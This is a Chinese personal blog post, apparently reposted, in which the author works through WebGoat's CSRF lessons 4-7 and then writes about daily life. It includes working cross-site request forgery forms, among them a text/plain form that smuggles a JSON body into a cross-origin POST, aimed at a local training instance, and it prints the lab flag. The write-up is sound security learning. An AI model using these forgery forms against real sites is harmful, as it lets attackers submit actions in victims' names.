CSRF 4~7 表单拼 JSON
Posted 三疯白帽笔记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF 4~7 表单拼 JSON相关的知识,希望对你有一定的参考价值。
小目标:2021-02-25 开始日拱三年七百篇 #60/720,迭代三疯白帽笔记,入门白帽。
1. 日拱学习
地铁看书:「金庸作品集」4488/26907。
技术学习:WebGoat Lessons 22/32。
商业学习:生财日历 2021 共读营 6.1~6.2。
2. 日拱白帽
WebGoat 今天课是 (A8:2013) Request Forgeries -> Cross-Site Request Forgeries 的 4~7 节。
第 4 节,作业,跨站留个言。此题跟第三节原理一样,操作也一样。把如下提交的 html 代码放到 WebWolf 的 landing 页面里,然后填入内容提交,通关。
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="http://127.0.0.1:8089/WebGoat/csrf/review">
<input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review" type="text">
<input class="form-control" id="reviewStars" name="stars" type="text">
<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
<input type="submit" name="submit" value="Submit review">
</form>
第 5 节,很多框架带了 CSRF 的自动防御功能。
第 6 节,当只有 JSON API 的时候,只靠 Content-Type 为 application/json,也无法保证 CSRF 被阻止。有些浏览器的底层 API 会用到 JSON 这种的正常功能,这种就可以被利用。
第 7 节,CSRF and content-type。作业,将如下 JSON 数据从别的 origin 发到当前域即 WebGoat:
POST /csrf/feedback/message HTTP/1.1
{
"name" : "WebGoat",
"email" : "webgoat@webgoat.org",
"content" : "WebGoat is the best!!"
}
第一反应,像之前一样,将本节表单拷贝到 WebWolf 的 landing 里,但此题不是那么简单的。报错,表示各字段都是服务器未定义的 JSON 字段。然后看了下请求,Content-Type 里都没有 application/json。
于是,参照本节给的参考链接里那个方式,将表单直接简化为以下内容:
<FORM NAME="csrf3mad" ENCTYPE="text/plain"
action="http://127.0.0.1:8089/WebGoat/csrf/feedback/message" METHOD="POST">
<input type="hidden" name='{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}'>
<button>Send Message</button>
</FORM>
FORM 的 ENCTYPE 字段,设置表单的内容类型,此值可以是:
application/x-www-form-urlencoded,表单默认类型。
multipart/form-data,用于上传文件。
text/plain,我们这里用这个,内容就不会被编码。
参考链接里那个攻击,用的 JS 脚本自动加载,这个在真实攻击时这么用。但我们这里用于调试方便,直接放按钮,手动提交表单了。
报错,说最后有个「=」不符合 JSON 格式:
{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}=
再仔细研究了下参考链接的 POC,才焕然大悟,它也解决了「=」的问题:
<FORM NAME="csrf3mad" ENCTYPE="text/plain"
action="http://127.0.0.1:8089/WebGoat/csrf/feedback/message" METHOD="POST">
<input type="hidden"
name='{"=":"'
value='","name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}'
>
<button>Send Message</button>
</FORM>
最后请求通过,返回 flag:513d214d-596a-4cfc-8c62-39a47ea60d9a。
复盘下这题。
这里我差点都放弃了,准备 Show hints 了。因为参考链接里的 POC,是 XML 的,他刚好是用下边来组装的:
name='<?xml version'
value='"1.0"?><xxx></xxx>
他利用 name=value 组装成了:
<?xml version = "1.0"?><xxx></xxx>
但是我们这题是 JSON 啊,JSON 是没有「=」语法的,我看了下,JSON 也不带注释。但看有人说 JSON 注释可以是这样:
{
"//": "comment",
"field1": "value1",
"field2": "value2"
}
我就想不如试试构建一个:
"=": "="
于是拆成 FORM 的:
name='{"=":"'
value='","name":"WebGoat"}'
利用 name=value,最后就组装成了:
{"=":"=","name":"WebGoat"}
这题耗时太长,今天先到这里。
3. 日拱唠嗑
轻食里点缀点葡萄干,惊讶无比。这个葡萄干,升糖指数可一点都不轻。
关于内卷和躺平。其实,躺久了就没啥意思。各种资料显示,财务自由后,啥也不干的,其实很少,一般休息个一年,就闲不住了。所以我觉得,不要想什么躺平。还不如先努努力,挣些钱。赚的差不多了,选择就多了,选择自己喜欢的事情。那时,就是开心的、不慌不忙的做自己喜欢的事情了,也就刚好对内卷感触不大了。
最近三月预算早花完了,所以有聚餐,就认真吃肉解馋。现在这个肉价,想肉类自由,还是不容易的呀。
菜鸟驿站,总是排很长队。现在很多人不及时取例如,都是周末一下取很多。我就选太阳烈的时候,队短。
「好家伙」看完了。最后时光内心的贫瘠得到救赎,也找到了生活的目标。挺让人动容的。何思齐的结局会更温馨一些。
现在还没孩子,周六踢球,周日就完全宅家了。老婆近期工作也挺忙,周末也就宅家休息了。一起看看剧、开开黑,还挺悠闲的。
上一篇文章,时隔了好几天,终于又进「看一看精选」了。阅读量会多些。这个精选也不知道什么策略。
我的运动基本就是每周一场足球 2.5 小时左右。每日早晚家里到地铁之间步行各 15 分钟左右,有电瓶车,刻意不骑。饮食,早餐若饭,升糖指数低一点,中午轻食,晚餐就管不住了,正常米饭。现在整体维持还凑活。再加码,就坚持不住了,也不难为自己了。
组织踢了快四年球了,基本停、传、射、跑位可以凑活了,接下来准备看视频练习下过人了。
吐槽储备语句:欲加之罪何患无辞。
把这几天的微博给摘过来了。我也可以是个话痨。
看我家大师兄的完美圆圈:
以上是关于CSRF 4~7 表单拼 JSON的主要内容,如果未能解决你的问题,请参考以下文章
Rails 为重复的 JSON 请求自动更新 CSRF 令牌
CSRF 令牌无效。请尝试重新提交表单。 Symfony 4